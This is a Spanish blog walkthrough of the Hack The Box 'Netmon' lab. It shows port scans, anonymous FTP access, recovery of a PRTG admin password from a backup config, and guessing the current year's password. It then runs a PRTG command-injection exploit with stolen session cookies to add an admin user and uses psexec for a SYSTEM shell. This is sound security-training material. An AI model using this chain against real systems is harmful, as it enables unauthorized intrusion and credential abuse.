En este post voy a vulnerar la máquina Netmon de Hack The Box. Es una máquina Windows de nivel fácil donde se combina un sistema mal configurado y una CVE.
La verdad es que esta máquina me ha parecido bastante rara, y es la que menos he disfrutado resolviendo hasta la fecha, debido a su configuración así que no la estructuraré en los puntos habituales de un pentest si no que la detallaré en un punto único.
Resolución
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 5000 10.10.10.152
En la máquina hay trece puertos abiertos. Escaneo los siete primeros puertos, ya que el resto son puertos dinámicos del sistema, que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p21,80,135,139,5985,47001 -sC -sV 10.10.10.152 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-25 19:17 CET Nmap scan report for 10.10.10.152 Host is up (0.12s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-02-19 11:18PM 1024 .rnd | 02-25-19 09:15PM <DIR> inetpub | 07-16-16 08:18AM <DIR> PerfLogs | 02-25-19 09:56PM <DIR> Program Files | 02-02-19 11:28PM <DIR> Program Files (x86) | 02-03-19 07:08AM <DIR> Users |_02-25-19 10:49PM <DIR> Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-server-header: PRTG/18.1.37.13946 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry! |_smb2-time: ERROR: Script execution failed (use -d to debug) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.38 seconds
Como puedo ver en la salida de nmap, el servicio FTP tiene activada la autenticación con el usuario Anonymous y, además, parece que muestra el directorio C de windows. Entro al FTP como usuario Anonymous (sin contraseña) y enumero el contenido del directorio donde aterrizo.
ftp 10.10.10.152
Por lo que parece, si que aparezco en el disco C de la máquina.
Navego a través del disco y, en el directorio raíz del usuario Public, encuentro la flag de usuario y la descargo a mi máquina.
Realmente obtener la flag de esta forma no sería válida ya que, para la certificación, Offensive Security exige que se obtengan las flags desde una shell interactiva de la máquina víctima.
Si visito el servicio web de la máquina aparezco en una pantalla de autenticación de PRTG Network Monitor. Esta aplicación es un software gratuito que se utiliza para la monitorización de redes informáticas (info).
Busco vulnerabilidades a nivel de kernel para esta aplicación en la base de datos de exploit-db y encuentro una vulnerabilidad de RCE pero que requiere de autenticación.
Esta vulnerabilidad está registrada con el código CVE-2019-9276 y realiza una inyección de comandos, enviando parámetros en un formato incorrecto, en el sistema de gestión de notificaciones.
Si veo el exploit a través de la web (aquí) veo que es bastante difícil de leer porque casi todo el código está en formato URL así que lanzo el exploit vacío y veo el ejemplo de uso.
Por lo que veo en la imagen, tengo que logearme en la aplicación para obtener cuatro cookies y, al ejecutarlo, creará un nuevo usuario en el sistema.
Las credenciales por defecto prtgadmin:prtgadmin no funcionan así que, como desde el FTP tengo acceso a todo el sistema, voy a buscarlas por él. Para moverme mas cómodamente por el sistema, creo una montura del FTP con curlftpfs.
sudo mkdir /mnt/netmonftp curlftpfs ftp://10.10.10.152 /mnt/netmonftp sudo curlftpfs ftp://10.10.10.152 /mnt/netmonftp
Accedo a la montura (tengo que ser root) y listo el contenido de la raíz.
sudo su cd /mnt/netmonftp ls -la
En lugar de buscar uno a uno por todos los archivos del sistema, busco en google y llego a este post de reddit donde dice que las copias automáticas de seguridad de la aplicación se almacenan en la ruta C:\ProgramData\Paessler\PRTG Network Monitor\Configuration Auto-Backups\ y los ficheros temporales los almacena como C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old o C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.nul así que me dirijo a la ruta \ProgramData\Paessler\PRTG Network Monitor\ y encuentro varios ficheros de configuración que pueden resultar interesantes ya que, este tipo de ficheros, siempre almacena credenciales.
En la mayoría de ellos no encuentro nada pero en el fichero PRTG Configuration.old.bak encuentro lo que parecen ser unas credenciales.
sudo -u root leafpad PRTG\ Configuration.old.bak
Intento iniciar sesión con las credenciales prtgadmin:PrTg@dmin2018 pero no lo consigo. En este punto me pongo a pensar un poco:
- El archivo de configuración es un archivo de backup, es decir, guarda la configuración actual o anterior.
- Por mi experiencia, cuando se establece un protocolo de cambio de contraseñas cada cierto tiempo, los usuarios suelen elegir o el año en curso o van incrementando uno a uno el número final.
La contraseña encontrada en el fichero de backup tiene el año 2018 así que, siguiendo la lógica anterior, la contraseña habrá cambiado la fecha a 2019, 2020, 2021 o 2022 así que solo tengo que probar estas cuatro opciones (aunque, como la máquina fue lanzada en 2019, lo mas seguro es que lo consiga con la primera opción).
Vuelvo a intentar iniciar sesión con las credenciales prtgadmin:PrTg@dmin2019 y esta vez consigo entrar al sistema.
Ahora que ya he conseguido acceder al sistema, puedo obtener las cookies que necesito para ejecutar el exploit. En firefox, pulso F12 y me dirjo a Storage > Cookies.
_gat 1
_ga=GA1.4.1116643202.1643135550
_gid=GA1.4.1883281757.1643135550
OCTOPUS1813713946=ezc4MUE4NjE5LTVFNkUtNDgzQi1CRkQ2LTUwRkIzODNDQUE4NX0%3D
El exploit indica que, al ejecutarse, un nuevo usuario con las credenciales pentest:P3nT3st! y lo añade al grupo de administradores.
Compruebo si ya existen las credenciales en el sistema.
crackmapexec smb 10.10.10.152 -u 'pentest' -p 'P3nT3st!'
Como no existen, ejecuto el exploit.
bash exploit.sh -u http://10.10.10.152 -c "_ga=GA1.4.1116643202.1643135550; _gid=GA1.4.1883281757.1643135550; OCTOPUS1813713946=ezc4MUE4NjE5LTVFNkUtNDgzQi1CRkQ2LTUwRkIzODNDQUE4NX0%3D; _gat=1"
Compruebo nuevamente las credenciales y esta vez veo que existen y que puedo autenticarme con ellas.
crackmapexec smb 10.10.10.152 -u 'pentest' -p 'P3nT3st!'
Me conecto a la máquina víctima utilizando el script psexec.py y, directamente, soy el usuario administrador.
psexec.py pentest:'P3nT3st!'@10.10.10.152
La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.
